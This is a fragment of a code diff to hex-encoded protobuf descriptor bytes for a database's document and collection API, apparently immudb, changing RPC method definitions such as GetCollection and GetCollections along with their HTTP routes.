0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, + 0x27, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x1a, 0x0c, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x85, 0x01, 0x0a, 0x0d, 0x47, 0x65, 0x74, + 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x47, 0x65, - 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x24, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0e, 0x12, 0x0c, 0x2f, 0x63, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x91, 0x01, 0x0a, 0x10, 0x55, - 0x70, 0x64, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, - 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x55, - 0x70, 0x64, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x7b, 0x6e, 0x61, 0x6d, 0x65, 0x7d, 0x3a, 0x01, 0x2a, 0x92, 0x41, - 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x8e, - 0x01, 0x0a, 0x10, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, - 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, - 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x22, 0x2b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x2a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x7b, 0x6e, 0x61, 0x6d, 0x65, 0x7d, 0x92, - 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, - 0x6f, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x20, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x72, - 0x65, 0x61, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, - 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x22, 0x1b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x1a, 0x06, 0x2f, 0x69, 0x6e, - 0x64, 0x65, 0x78, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x07, 0x0a, 0x05, 0x69, 0x6e, 0x64, 0x65, 0x78, - 0x12, 0x76, 0x0a, 0x0b, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, - 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, - 0x65, 0x6c, 0x65, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, - 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x22, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x22, 0x0d, 0x2f, 0x69, - 0x6e, 0x64, 0x65, 0x78, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, - 0x07, 0x0a, 0x05, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x83, 0x01, 0x0a, 0x0f, 0x49, 0x6e, 0x73, - 0x65, 0x72, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x24, 0x2e, 0x69, + 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x12, 0x13, 0x2f, 0x63, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x7b, 0x6e, 0x61, 0x6d, 0x65, 0x7d, + 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, + 0x12, 0x81, 0x01, 0x0a, 0x0e, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x73, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, + 0x65, 0x6c, 0x2e, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x24, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0e, 0x12, 0x0c, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x73, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x91, 0x01, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x43, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x43, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, + 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, + 0x1a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x7b, + 0x6e, 0x61, 0x6d, 0x65, 0x7d, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x8e, 0x01, 0x0a, 0x10, 0x44, 0x65, 0x6c, + 0x65, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x25, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, + 0x65, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, + 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x15, 0x2a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x73, 0x2f, 0x7b, 0x6e, 0x61, 0x6d, 0x65, 0x7d, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x6f, 0x0a, 0x0b, 0x43, 0x72, 0x65, + 0x61, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x49, 0x6e, + 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, + 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x1b, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x1a, 0x06, 0x2f, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x3a, 0x01, 0x2a, + 0x92, 0x41, 0x07, 0x0a, 0x05, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x76, 0x0a, 0x0b, 0x44, 0x65, + 0x6c, 0x65, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x49, + 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, + 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x22, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x22, 0x0d, 0x2f, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x2f, 0x64, + 0x65, 0x6c, 0x65, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x07, 0x0a, 0x05, 0x69, 0x6e, 0x64, + 0x65, 0x78, 0x12, 0x83, 0x01, 0x0a, 0x0f, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x44, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x73, 0x65, - 0x72, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, - 0x6c, 0x2e, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x23, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x0f, 0x1a, 0x0a, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x3a, 0x01, 0x2a, - 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x8e, - 0x01, 0x0a, 0x10, 0x52, 0x65, 0x70, 0x6c, 0x61, 0x63, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, - 0x65, 0x6c, 0x2e, 0x52, 0x65, 0x70, 0x6c, 0x61, 0x63, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x52, 0x65, 0x70, 0x6c, 0x61, 0x63, - 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x22, 0x2b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x1a, 0x12, 0x2f, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x72, 0x65, 0x70, 0x6c, 0x61, 0x63, 0x65, 0x3a, 0x01, - 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, - 0x8a, 0x01, 0x0a, 0x0f, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, + 0x72, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x22, 0x23, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x1a, 0x0a, 0x2f, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x8e, 0x01, 0x0a, 0x10, 0x52, 0x65, 0x70, + 0x6c, 0x61, 0x63, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x25, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x52, 0x65, 0x70, + 0x6c, 0x61, 0x63, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, + 0x64, 0x65, 0x6c, 0x2e, 0x52, 0x65, 0x70, 0x6c, 0x61, 0x63, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x17, 0x1a, 0x12, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, + 0x2f, 0x72, 0x65, 0x70, 0x6c, 0x61, 0x63, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x8a, 0x01, 0x0a, 0x0f, 0x44, 0x65, + 0x6c, 0x65, 0x74, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x24, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, + 0x65, 0x74, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, - 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x8a, 0x01, 0x0a, - 0x0f, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, - 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, + 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x64, + 0x65, 0x6c, 0x65, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x8a, 0x01, 0x0a, 0x0f, 0x53, 0x65, 0x61, 0x72, 0x63, + 0x68, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x44, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x83, 0x01, 0x0a, 0x0d, 0x41, 0x75, - 0x64, 0x69, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x41, 0x75, 0x64, 0x69, 0x74, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, + 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, + 0x63, 0x68, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x12, 0x83, 0x01, 0x0a, 0x0d, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, + 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x29, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x2f, 0x61, 0x75, 0x64, 0x69, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x83, 0x01, 0x0a, 0x0d, 0x50, 0x72, + 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 